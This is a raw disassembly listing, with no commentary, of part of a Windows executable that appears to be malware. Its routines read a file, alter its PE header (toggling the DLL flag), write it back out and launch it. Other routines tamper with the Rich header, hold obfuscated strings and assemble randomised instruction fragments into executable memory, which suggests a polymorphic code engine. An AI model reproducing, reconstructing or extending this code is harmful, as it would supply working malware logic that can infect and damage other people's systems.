		mov	edx, [edx]
		push	ecx
		push	edx
		push	dword ptr [esi+4]
		lea	eax, [ebp-134h]
		push	eax
		call	sub_40A0F2
		add	esp, 10h
		lea	eax, [ebp-8]
		push	eax
		lea	eax, [ebp-4]
		push	eax
		push	0
		push	0
		push	0
		push	0
		push	0
		lea	eax, [ebp-134h]
		push	eax
		push	dword ptr [esi]
		call	sub_414426
		push	dword ptr [ebp-4]
		call	sub_40A2B4
		lea	eax, [ebp-4]
		push	eax
		lea	eax, [ebp-134h]
		push	eax
		push	dword ptr [esi]
		call	sub_40A2CC
		mov	edi, [esi+14h]
		mov	edi, [edi]
		push	edi
		call	sub_40A266
		mov	edx, [esi+10h]
		mov	edx, [edx]
		push	eax
		push	edi
		push	1
		push	0
		push	edx
		push	dword ptr [ebp-4]
		call	sub_40A2E4
		push	dword ptr [ebp-4]
		call	sub_40A2B4


loc_40F8C6:				; CODE XREF: rdata:0040F845j
		add	esi, 18h
		inc	ebx


loc_40F8CA:				; CODE XREF: rdata:0040F836j
		cmp	ebx, dword_41A016
		jb	loc_40F83B
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn	4
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFED4h
		push	edi
		push	esi
		push	ebx
		call	sub_40FC26
		mov	esi, [ebp+8]
		mov	ebx, dword_41A016
		jmp	short loc_40F929
; ---------------------------------------------------------------------------


loc_40F8F9:				; CODE XREF: rdata:0040F92Bj
		mov	ecx, [esi+0Ch]
		mov	ecx, [ecx]
		mov	edx, [esi+8]
		mov	edx, [edx]
		push	ecx
		push	edx
		push	dword ptr [esi+4]
		lea	eax, [ebp-12Ch]
		push	eax
		call	sub_40A0F2
		add	esp, 10h
		lea	eax, [ebp-12Ch]
		push	eax
		push	dword ptr [esi]
		call	sub_41442C
		add	esi, 18h
		dec	ebx


loc_40F929:				; CODE XREF: rdata:0040F8F7j
		or	ebx, ebx
		jnz	short loc_40F8F9
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn	4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F934	proc near		; CODE XREF: sub_40FC26+48p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		movzx	ecx, byte ptr [eax+0Fh]
		push	ecx
		movzx	ecx, byte ptr [eax+0Eh]
		push	ecx
		movzx	ecx, byte ptr [eax+0Dh]
		push	ecx
		movzx	ecx, byte ptr [eax+0Ch]
		push	ecx
		movzx	ecx, byte ptr [eax+0Bh]
		push	ecx
		movzx	ecx, byte ptr [eax+0Ah]
		push	ecx
		movzx	ecx, byte ptr [eax+9]
		push	ecx
		movzx	ecx, byte ptr [eax+8]
		push	ecx
		movzx	ecx, word ptr [eax+6]
		push	ecx
		movzx	ecx, word ptr [eax+4]
		push	ecx
		push	dword ptr [eax]
		push	offset dword_41A2C8
		push	[ebp+arg_4]
		call	sub_40A0F2
		add	esp, 34h
		leave
		retn	8
sub_40F934	endp

; ---------------------------------------------------------------------------
		dw 0CCCCh
		dd 3 dup(0CCCCCCCCh)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFFCh
		push	ebx
		mov	ebx, [ebp+8]
		mov	ebx, [ebx+4]
		mov	ecx, [ebx+2Ch]
		or	ecx, ecx
		jz	short loc_40F9AC
		mov	edx, ecx
		mov	edx, [edx]
		push	ecx
		call	dword ptr [edx+8]


loc_40F9AC:				; CODE XREF: rdata:0040F9A2j
		cmp	dword ptr [ebp+10h], 0
		jz	short loc_40F9C3
		mov	eax, [ebp+10h]
		mov	[ebx+2Ch], eax
		mov	edx, [ebp+10h]
		mov	edx, [edx]
		push	dword ptr [ebp+10h]
		call	dword ptr [edx+4]


loc_40F9C3:				; CODE XREF: rdata:0040F9B0j
		xor	eax, eax
		pop	ebx
		leave
		retn	10h
; ---------------------------------------------------------------------------
		dw 0CCCCh
		dd 0CCCCCCCCh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		cmp	dword ptr [ebp+0Ch], 0
		jnz	short loc_40F9E9
		cmp	dword ptr [ebp+10h], 1
		jnz	short loc_40F9E1
		jmp	short loc_40F9FD
; ---------------------------------------------------------------------------


loc_40F9E1:				; CODE XREF: rdata:0040F9DDj
		cmp	dword ptr [ebp+10h], 5
		jnz	short loc_40F9FD
		jmp	short loc_40F9FD
; ---------------------------------------------------------------------------


loc_40F9E9:				; CODE XREF: rdata:0040F9D7j
		cmp	dword ptr [ebp+0Ch], 1
		jnz	short loc_40F9FD
		cmp	dword ptr [ebp+10h], 1
		jnz	short loc_40F9F7
		jmp	short loc_40F9FD
; ---------------------------------------------------------------------------


loc_40F9F7:				; CODE XREF: rdata:0040F9F3j
		cmp	dword ptr [ebp+10h], 5


loc_40F9FB:				; DATA XREF: .text:004019BDr
					; .text:004019CBr
		jnz	short $+2


loc_40F9FD:				; CODE XREF: rdata:0040F9DFj
					; rdata:0040F9E5j ...
		xor	eax, eax
		leave
		retn	18h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+0Ch]
		mov	ecx, [esi+0Ch]
		shr	ecx, 10h
		and	ecx, 0FFFFh
		or	ecx, ecx
		jnz	short loc_40FA2F
		mov	eax, [esi+0Ch]
		or	ax, ax
		jnz	short loc_40FA24
		jmp	short loc_40FA2A
; ---------------------------------------------------------------------------


loc_40FA24:				; CODE XREF: rdata:0040FA20j
		cmp	ax, 1
		jnz	short $+2


loc_40FA2A:				; CODE XREF: rdata:0040FA22j
		pop	esi
		leave
		retn	8
; ---------------------------------------------------------------------------


loc_40FA2F:				; CODE XREF: rdata:0040FA18j
		mov	eax, 80070057h
		pop	esi
		leave
		retn	8
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFFCh
		push	ebx
		mov	eax, [ebp+14h]
		mov	[ebp-4], eax
		push	offset dword_41A348
		push	1
		push	0
		push	offset loc_40D880
		push	0
		push	0
		call	sub_40A128
		inc	dword ptr [ebp-4]
		mov	ebx, [ebp-4]
		sub	ebx, [ebp+14h]
		and	ebx, 0FFFFh
		mov	eax, ebx
		pop	ebx
		leave
		retn	18h
; ---------------------------------------------------------------------------
		db 0CCh
		dd 3 dup(0CCCCCCCCh)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		mov	eax, 0
		leave
		retn	4
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		leave
		retn	0Ch
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		mov	eax, 80004005h
		leave
		retn	0Ch
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		mov	eax, 80004005h
		leave
		retn	8
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		mov	eax, 80004005h
		leave
		retn	8
; ---------------------------------------------------------------------------
		db 3 dup(0CCh)
		dd 0CCCCCCCCh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	offset dword_41A3B4
		push	1
		push	0
		push	offset loc_40D880
		push	0
		push	0
		call	sub_40A128
		mov	eax, 1
		leave
		retn	18h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ebx
		xor	eax, eax
		pop	ebx
		leave
		retn	18h
; ---------------------------------------------------------------------------
		dw 0CCCCh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ebx
		push	offset dword_41A3E0
		push	1
		push	0
		push	offset loc_40D880
		push	0
		push	0
		call	sub_40A128
		mov	eax, 6
		pop	ebx
		leave
		retn	20h
; ---------------------------------------------------------------------------
		db 3 dup(0CCh)
		dd 2 dup(0CCCCCCCCh)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFE70h
		push	edi
		push	esi
		push	ebx
		mov	ebx, [ebp+0Ch]
		push	dword ptr [ebx+10h]
		lea	eax, [ebp-190h]
		push	eax
		call	sub_40A25A
		lea	eax, [ebp-190h]
		push	eax
		call	sub_414402
		mov	esi, eax
		lea	edi, aSw0cp8xucxxq6y ; "sW0cp8XUcxxq6y43hcs+PRiHSQX+slLM9J4f7-B"...
		jmp	short loc_40FB6F
; ---------------------------------------------------------------------------


loc_40FB54:				; CODE XREF: rdata:0040FB72j
		push	edi
		push	esi
		call	sub_40A254
		or	eax, eax
		jnz	short loc_40FB66
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn	8
; ---------------------------------------------------------------------------


loc_40FB66:				; CODE XREF: rdata:0040FB5Dj
		push	edi
		call	sub_40A266
		inc	eax
		add	edi, eax


loc_40FB6F:				; CODE XREF: rdata:0040FB52j
		cmp	dword ptr [edi], 0
		jnz	short loc_40FB54
		mov	eax, 1
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn	8
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	dword_41C050
		call	sub_41440E
		mov	ecx, [ebp+14h]
		mov	dword ptr [ecx], 1
		mov	ecx, [ebp+18h]
		mov	dword ptr [ecx], 3
		xor	eax, eax
		leave
		retn	14h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		mov	dword ptr [ebp+0Ch], 0
		xor	eax, eax
		leave
		retn	8
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFDA0h
		lea	eax, [ebp-260h]
		push	eax
		push	1
		push	0
		push	offset loc_40D880
		push	0
		push	0
		call	sub_40A128
		mov	dword ptr [ebp-25Ch], 1
		mov	eax, [ebp-25Ch]
		leave
		retn	0Ch
; ---------------------------------------------------------------------------
		dw 0CCCCh
		dd 3 dup(0CCCCCCCCh)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		cmp	dword ptr [ebp+0Ch], 1
		jnz	short loc_40FC1D
		mov	eax, [ebp+8]
		mov	dword_41C050, eax
		call	sub_40FC26
		mov	eax, 1
		jmp	short locret_40FC22
; ---------------------------------------------------------------------------


loc_40FC1D:				; CODE XREF: rdata:0040FC07j
		mov	eax, 0

locret_40FC22:				; CODE XREF: rdata:0040FC1Bj
		leave
		retn	0Ch

; =============== S U B	R O U T	I N E =======================================



sub_40FC26	proc near		; CODE XREF: rdata:0040F82Cp
					; rdata:0040F8E9p ...
		push	edi
		push	esi
		push	ebx
		push	12Ch
		push	0
		push	dword_41A2C0
		call	sub_40F5F0
		push	12Ch
		push	dword_41A2C0
		push	dword_41C050
		call	sub_40A188
		lea	ecx, byte_41A195
		push	ecx
		push	dword_41A2C0
		call	sub_414440
		push	dword_41A2C4
		push	offset byte_41A195
		call	sub_40F934
		pop	ebx
		pop	esi
		pop	edi
		retn
sub_40FC26	endp

; ---------------------------------------------------------------------------
		db 0CCh
		dd 2 dup(0CCCCCCCCh)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFC74h
		push	edi
		push	esi
		push	ebx
		push	offset loc_41450E
		push	1
		push	0
		call	sub_40A11C
		mov	ds:dword_414791, eax
		call	sub_40A17C
		or	eax, eax
		jnz	loc_40FD80
		push	ds:dword_414791
		call	sub_40A0FE
		push	12Ch
		lea	eax, [ebp-384h]
		push	eax
		push	dword_41C050
		call	sub_40A188
		push	104h
		lea	eax, [ebp-12Ch]
		push	eax
		call	sub_40A19A
		lea	ecx, [ebp-12Ch]
		cmp	byte ptr [eax+ecx-1], 5Ch
		jz	short loc_40FCF2
		mov	word ptr [eax+ecx], 5Ch


loc_40FCF2:				; CODE XREF: rdata:0040FCEAj
		lea	eax, [ebp-12Ch]
		push	eax
		push	(offset	loc_414780+4)
		lea	eax, [ebp-258h]
		push	eax
		call	sub_40A0F2
		add	esp, 0Ch
		lea	eax, [ebp-38Ch]
		push	eax
		lea	eax, [ebp-388h]
		push	eax
		lea	eax, [ebp-384h]
		push	eax
		call	sub_40FE35
		mov	edi, [ebp-388h]
		cmp	word ptr [edi],	5A4Dh
		jnz	short loc_40FD45
		add	edi, [edi+3Ch]
		cmp	dword ptr [edi], 4550h
		jnz	short loc_40FD45
		xor	word ptr [edi+16h], 2000h


loc_40FD45:				; CODE XREF: rdata:0040FD32j
					; rdata:0040FD3Dj
		push	dword ptr [ebp-38Ch]
		push	dword ptr [ebp-388h]
		lea	eax, [ebp-258h]
		push	eax
		call	sub_40FD94
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40FD6E
		lea	eax, [ebp-258h]
		push	eax
		call	sub_40FDED


loc_40FD6E:				; CODE XREF: rdata:0040FD60j
		push	8000h
		push	0
		push	dword ptr [ebp-388h]
		call	sub_40A230


loc_40FD80:				; CODE XREF: rdata:0040FCA6j
		push	ds:dword_414791
		call	sub_40A0FE
		xor	eax, eax
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn	4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40FD94	proc near		; CODE XREF: rdata:0040FD58p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF8h
		push	edi
		push	esi
		push	ebx
		push	0
		push	80h
		push	4
		push	0
		push	3
		push	40000000h
		push	[ebp+arg_0]
		call	sub_40A110
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40FDE6
		mov	[ebp+var_4], eax
		push	0
		push	0
		push	0
		push	[ebp+var_4]
		call	sub_40A206
		push	0
		push	esp
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+var_4]
		call	sub_40A242
		push	[ebp+var_4]
		call	sub_40A0FE


loc_40FDE6:				; CODE XREF: sub_40FD94+26j
		pop	ebx
		pop	esi


loc_40FDE8:				; DATA XREF: .text:00401904o
		pop	edi
		leave
		retn	0Ch
sub_40FD94	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40FDED	proc near		; CODE XREF: rdata:0040FD69p

var_54		= dword	ptr -54h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFACh
		push	edi
		xor	eax, eax
		lea	edi, [ebp+var_54]
		mov	ecx, 44h
		rep stosb
		mov	[ebp+var_54], 44h
		xor	edx, edx
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_54]
		push	eax
		push	edx
		push	edx
		push	edx
		push	edx
		push	edx
		push	edx
		push	[ebp+arg_0]
		push	edx
		call	sub_40A122
		push	[ebp+var_10]
		call	sub_40A0FE
		push	[ebp+var_C]
		call	sub_40A0FE
		pop	edi
		leave
		retn	4
sub_40FDED	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40FE35	proc near		; CODE XREF: rdata:0040FD22p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF8h
		push	edi
		push	esi
		push	ebx
		mov	ebx, 0FFFFFFFFh
		push	0
		push	80h
		push	3
		push	0
		push	1
		push	80000000h
		push	[ebp+arg_0]
		call	sub_40A110
		mov	[ebp+var_4], eax
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40FEB2
		push	0
		push	[ebp+var_4]
		call	sub_40A176
		mov	[ebp+var_8], eax
		push	40h
		push	1000h
		push	[ebp+var_8]
		push	0
		call	sub_40A22A
		or	eax, eax
		jz	short loc_40FEB2
		mov	edi, eax
		or	eax, eax
		jz	short loc_40FEB2
		mov	ecx, [ebp+arg_4]
		mov	[ecx], edi
		push	0
		push	esp
		push	[ebp+var_8]
		push	edi
		push	[ebp+var_4]
		call	sub_40A1E8
		push	[ebp+var_4]
		call	sub_40A0FE
		mov	ecx, [ebp+arg_8]
		mov	eax, [ebp+var_8]
		mov	[ecx], eax
		inc	ebx


loc_40FEB2:				; CODE XREF: sub_40FE35+2Ej
					; sub_40FE35+50j ...
		mov	eax, ebx
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn	0Ch
sub_40FE35	endp

; ---------------------------------------------------------------------------
		db 0CCh
		dd 0CCCCCCCCh

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40FEC0	proc near		; CODE XREF: sub_404DC0+206p

var_1A0		= dword	ptr -1A0h
var_19C		= dword	ptr -19Ch
var_198		= dword	ptr -198h
var_194		= dword	ptr -194h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFE60h
		push	edi
		push	esi
		push	ebx
		mov	[ebp+var_1A0], 0FFFFFFFFh
		push	[ebp+arg_0]
		call	sub_410900
		or	eax, eax
		jnz	loc_40FFC3
		mov	esi, [ebp+arg_0]
		add	esi, 80h
		xor	ebx, ebx
		jmp	short loc_40FEF4
; ---------------------------------------------------------------------------


loc_40FEF3:				; CODE XREF: sub_40FEC0+3Bj
		inc	ebx


loc_40FEF4:				; CODE XREF: sub_40FEC0+31j
		cmp	dword ptr [esi+ebx*4], 68636952h
		jnz	short loc_40FEF3
		inc	ebx
		mov	eax, ebx
		xor	edx, edx
		mov	ecx, 4
		mul	ecx
		sub	eax, 14h
		mov	ecx, 8
		div	ecx
		mov	ebx, eax
		mov	edi, [esi+4]
		add	esi, 10h
		mov	[ebp+var_198], ebx
		mov	[ebp+var_19C], esi
		jmp	short loc_40FF47
; ---------------------------------------------------------------------------


loc_40FF29:				; CODE XREF: sub_40FEC0+89j
		mov	edx, [esi]
		xor	edx, edi
		xor	[esi+4], edi
		cmp	edx, 10000h
		jz	short loc_40FF41
		call	sub_4109E0
		mov	[esi], eax
		jmp	short loc_40FF43
; ---------------------------------------------------------------------------


loc_40FF41:				; CODE XREF: sub_40FEC0+76j
		xor	[esi], edi


loc_40FF43:				; CODE XREF: sub_40FEC0+7Fj
		add	esi, 8
		dec	ebx


loc_40FF47:				; CODE XREF: sub_40FEC0+67j
		or	ebx, ebx
		jnz	short loc_40FF29
		mov	ebx, [ebp+var_198]
		mov	esi, [ebp+var_19C]
		mov	[ebp+var_194], 884F3421h
		jmp	short loc_40FF74
; ---------------------------------------------------------------------------


loc_40FF63:				; CODE XREF: sub_40FEC0+B6j
		mov	edx, [esi]
		mov	ecx, [esi+4]
		rol	edx, cl
		add	[ebp+var_194], edx
		add	esi, 8
		dec	ebx


loc_40FF74:				; CODE XREF: sub_40FEC0+A1j
		or	ebx, ebx
		jnz	short loc_40FF63
		mov	esi, [ebp+arg_0]
		add	esi, 80h
		mov	edi, [ebp+var_194]
		mov	eax, edi
		xor	eax, 0AA559966h
		xor	eax, 0F93BF822h
		mov	[esi], eax
		mov	[esi+4], edi
		mov	[esi+8], edi
		mov	[esi+0Ch], edi
		mov	ebx, [ebp+var_198]
		mov	esi, [ebp+var_19C]
		jmp	short loc_40FFB5
; ---------------------------------------------------------------------------


loc_40FFAC:				; CODE XREF: sub_40FEC0+F7j
		xor	[esi], edi
		xor	[esi+4], edi
		add	esi, 8
		dec	ebx


loc_40FFB5:				; CODE XREF: sub_40FEC0+EAj
		or	ebx, ebx
		jnz	short loc_40FFAC
		mov	[ebp+var_1A0], 0


loc_40FFC3:				; CODE XREF: sub_40FEC0+20j
		mov	eax, [ebp+var_1A0]
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn	4
sub_40FEC0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40FFD0	proc near		; CODE XREF: sub_404DC0+171p

var_608		= dword	ptr -608h
var_604		= dword	ptr -604h
var_600		= byte ptr -600h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFF9F8h
		push	edi
		push	esi
		push	ebx
		lea	eax, [ebp+var_600]
		push	eax
		call	sub_405260
		lea	eax, [ebp+var_600]
		mov	eax, [eax]
		xor	edx, edx
		mov	ecx, 7Fh
		div	ecx
		shr	edx, 1
		shl	edx, 1
		movzx	edx, dl
		add	dl, 80h
		mov	[ebp+var_604], edx
		lea	eax, [ebp+var_600]
		mov	eax, [eax+3Ch]
		xor	edx, edx
		mov	ecx, 0E000h
		div	ecx
		mov	[ebp+var_608], edx
		mov	ecx, [ebp+arg_10]
		add	[ebp+var_608], ecx
		push	40h
		push	1000h
		push	1000h
		push	0
		call	sub_40A22A
		mov	edi, eax
		push	[ebp+var_604]
		push	[ebp+var_608]
		push	edi
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4103F0
		mov	esi, eax
		push	40h
		push	1000h
		push	1000h
		push	0
		call	sub_40A22A
		mov	ebx, eax
		mov	ecx, [ebp+arg_8]
		mov	[ecx], eax
		add	[ebp+var_604], 8
		add	[ebp+var_608], 1000h
		push	[ebp+var_604]
		push	[ebp+var_608]
		push	ebx
		push	esi
		push	edi
		call	sub_4100B1
		mov	ecx, [ebp+arg_C]
		mov	[ecx], eax
		push	8000h
		push	0
		push	edi
		call	sub_40A230
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn	14h
sub_40FFD0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4100B1	proc near		; CODE XREF: sub_40FFD0+C3p

var_628		= byte ptr -628h
var_614		= dword	ptr -614h
var_610		= dword	ptr -610h
var_60C		= dword	ptr -60Ch
var_608		= dword	ptr -608h
var_604		= byte ptr -604h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFF9D8h
		push	edi
		push	esi
		push	ebx
		lea	eax, [ebp+var_628]
		push	eax
		call	sub_410B20
		lea	eax, [ebp+var_628]
		push	eax
		call	sub_410A20
		lea	eax, [ebp+var_628]
		push	eax
		call	sub_410A20
		lea	eax, [ebp+var_604]
		push	eax
		call	sub_405260
		lea	eax, [ebp+var_604]
		mov	[ebp+var_610], eax
		lea	eax, [ebp+var_628]
		mov	esi, [eax]
		mov	[ebp+var_608], esi
		xor	ebx, ebx
		jmp	short loc_41010F
; ---------------------------------------------------------------------------


loc_41010B:				; CODE XREF: sub_4100B1+61j
		inc	ebx
		add	esi, 4


loc_41010F:				; CODE XREF: sub_4100B1+58j
		cmp	dword ptr [esi], 0
		jnz	short loc_41010B
		mov	[ebp+var_60C], ebx
		mov	ebx, [ebp+arg_4]
		shr	ebx, 2
		shl	ebx, 2
		cmp	ebx, [ebp+arg_4]
		jz	short loc_41012E
		add	ebx, 4
		mov	[ebp+var_4], ebx


loc_41012E:				; CODE XREF: sub_4100B1+75j
		mov	eax, [ebp+var_610]
		mov	eax, [eax]
		mov	ecx, 8
		xor	edx, edx
		div	ecx
		mov	[ebp+var_614], edx
		mov	edi, [ebp+arg_8]
		push	[ebp+var_614]
		push	edi
		push	[ebp+var_60C]
		push	[ebp+var_608]
		push	[ebp+var_610]
		call	sub_410AC0
		mov	edx, eax
		sub	edx, edi
		mov	edi, eax
		mov	ecx, 14h
		sub	ecx, edx
		mov	[ebp+var_614], ecx
		lea	esi, aA		; "€"
		mov	eax, [ebp+arg_10]
		mov	[esi+3], al
		mov	eax, [ebp+arg_C]
		mov	[esi+4], eax
		push	8
		push	offset aA	; "€"
		push	edi
		call	sub_40F5BF
		add	edi, 8
		mov	esi, [ebp+arg_0]
		jmp	loc_41038D
; ---------------------------------------------------------------------------


loc_4101A3:				; CODE XREF: sub_4100B1+2DEj
		mov	eax, [ebp+var_610]
		mov	eax, [eax]
		mov	ecx, 6
		xor	edx, edx
		div	ecx
		mov	[ebp+var_614], edx
		push	[ebp+var_614]
		push	edi
		push	[ebp+var_60C]
		push	[ebp+var_608]
		push	[ebp+var_610]
		call	sub_410AC0
		mov	edi, eax
		mov	eax, [ebp+var_610]
		mov	eax, [eax]
		xor	edx, edx
		mov	ecx, 4
		div	ecx
		mov	eax, edx
		mov	ecx, 3
		mul	ecx
		lea	ecx, byte_41A4C3
		add	ecx, eax
		mov	edx, [ebp+var_610]
		mov	edx, [edx]
		cmp	dh, 80h
		jbe	short loc_41023A
		mov	edx, [esi]
		lea	eax, dword_41A478
		mov	[eax+6], edx
		mov	edx, [ebp+arg_10]
		mov	[eax+3], dl
		mov	dl, [ecx]
		mov	[eax+1], dl
		mov	dl, [ecx+1]
		mov	[eax+5], dl
		push	0Ah
		push	offset dword_41A478
		push	edi
		call	sub_40F5BF
		add	edi, 0Ah
		jmp	loc_4102F3
; ---------------------------------------------------------------------------


loc_41023A:				; CODE XREF: sub_4100B1+156j
		cmp	dl, 80h
		jbe	short loc_410270
		mov	edx, [esi]
		lea	eax, dword_41A468
		mov	[eax+6], edx
		mov	edx, [ebp+arg_10]
		mov	[eax+3], dl
		mov	dl, [ecx]
		mov	[eax+1], dl
		mov	dl, [ecx+1]
		mov	[eax+5], dl
		push	0Ah
		push	offset dword_41A468
		push	edi
		call	sub_40F5BF
		add	edi, 0Ah
		jmp	loc_4102F3
; ---------------------------------------------------------------------------


loc_410270:				; CODE XREF: sub_4100B1+18Cj
		cmp	dl, dh
		jnb	short loc_41029C
		mov	edx, [esi]
		lea	eax, word_41A496
		mov	[eax+5], edx
		mov	edx, [ebp+arg_10]
		mov	[eax+3], dl
		mov	dl, 7Ch
		mov	[eax+1], dl
		push	0Ah
		push	offset word_41A496
		push	edi
		call	sub_40F5BF
		add	edi, 0Ah
		jmp	short loc_4102F3
; ---------------------------------------------------------------------------


loc_41029C:				; CODE XREF: sub_4100B1+1C1j
		cmp	dh, dl
		jnb	short loc_4102D2
		mov	edx, [esi]
		lea	eax, byte_41A4AD
		mov	[eax+6], edx
		mov	edx, [ebp+arg_10]
		mov	[eax+3], dl
		mov	dl, [ecx]
		mov	[eax+1], dl
		mov	dl, [ecx+1]
		mov	byte ptr [eax+5], 8
		add	[eax+5], dl
		push	0Ah
		push	offset byte_41A4AD
		push	edi
		call	sub_40F5BF
		add	edi, 0Ah
		jmp	short loc_4102F3
; ---------------------------------------------------------------------------


loc_4102D2:				; CODE XREF: sub_4100B1+1EDj
		mov	edx, [esi]
		lea	eax, dword_41A4A0
		mov	[eax+5], edx
		mov	edx, [ebp+arg_10]
		mov	[eax+3], dl
		push	0Dh
		push	offset dword_41A4A0
		push	edi
		call	sub_40F5BF
		add	edi, 0Dh


loc_4102F3:				; CODE XREF: sub_4100B1+184j
					; sub_4100B1+1BAj ...
		add	[ebp+var_610], 2
		mov	eax, [ebp+var_610]
		mov	eax, [eax]
		mov	ecx, 9
		xor	edx, edx
		div	ecx
		mov	[ebp+var_614], edx
		push	[ebp+var_614]
		push	edi
		push	[ebp+var_60C]
		push	[ebp+var_608]
		push	[ebp+var_610]
		call	sub_410AC0
		mov	edi, eax
		mov	eax, [ebp+var_610]
		mov	eax, [eax]
		xor	edx, edx
		mov	ecx, 4
		div	ecx
		mov	eax, edx
		mov	ecx, 3
		mul	ecx
		lea	ecx, byte_41A4B7
		add	ecx, eax
		lea	eax, dword_41A488
		mov	edx, [ebp+arg_10]
		mov	[eax+7], dl
		mov	dl, [ecx]
		mov	[eax+1], dl
		mov	dl, [ecx+1]
		mov	[eax+2], dl
		mov	dl, [ecx+2]
		mov	[eax+5], dl
		push	8
		push	offset dword_41A488
		push	edi
		call	sub_40F5BF
		add	edi, 8
		add	esi, 4
		sub	ebx, 4
		add	[ebp+var_610], 2


loc_41038D:				; CODE XREF: sub_4100B1+EDj
		or	ebx, ebx
		jnz	loc_4101A3
		lea	eax, dword_41A490
		mov	ecx, [ebp+arg_C]
		mov	[eax+1], ecx
		push	6
		push	offset dword_41A490
		push	edi
		call	sub_40F5BF
		add	edi, 6
		push	[ebp+var_614]
		push	edi
		push	[ebp+var_60C]
		push	[ebp+var_608]
		push	[ebp+var_610]
		call	sub_410AC0
		mov	edi, eax
		lea	eax, [ebp+var_628]
		push	eax
		call	sub_410AA0
		sub	edi, [ebp+arg_8]
		mov	eax, edi
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn	14h
sub_4100B1	endp

; ---------------------------------------------------------------------------
		db 8Dh,	0A4h, 24h
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4103F0	proc near		; CODE XREF: sub_40FFD0+82p

var_628		= byte ptr -628h
var_614		= dword	ptr -614h
var_610		= dword	ptr -610h
var_60C		= dword	ptr -60Ch
var_608		= dword	ptr -608h
var_604		= byte ptr -604h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFF9D8h
		push	edi
		push	esi
		push	ebx
		lea	eax, [ebp+var_628]
		push	eax
		call	sub_410B20
		lea	eax, [ebp+var_628]
		push	eax
		call	sub_410A20
		lea	eax, [ebp+var_628]
		push	eax
		call	sub_410A20
		lea	eax, [ebp+var_604]
		push	eax
		call	sub_405260
		lea	eax, [ebp+var_604]
		mov	[ebp+var_610], eax
		lea	eax, [ebp+var_628]
		mov	esi, [eax]
		mov	[ebp+var_608], esi
		xor	ebx, ebx
		jmp	short loc_41044E
; ---------------------------------------------------------------------------


loc_41044A:				; CODE XREF: sub_4103F0+61j
		inc	ebx
		add	esi, 4


loc_41044E:				; CODE XREF: sub_4103F0+58j
		cmp	dword ptr [esi], 0
		jnz	short loc_41044A
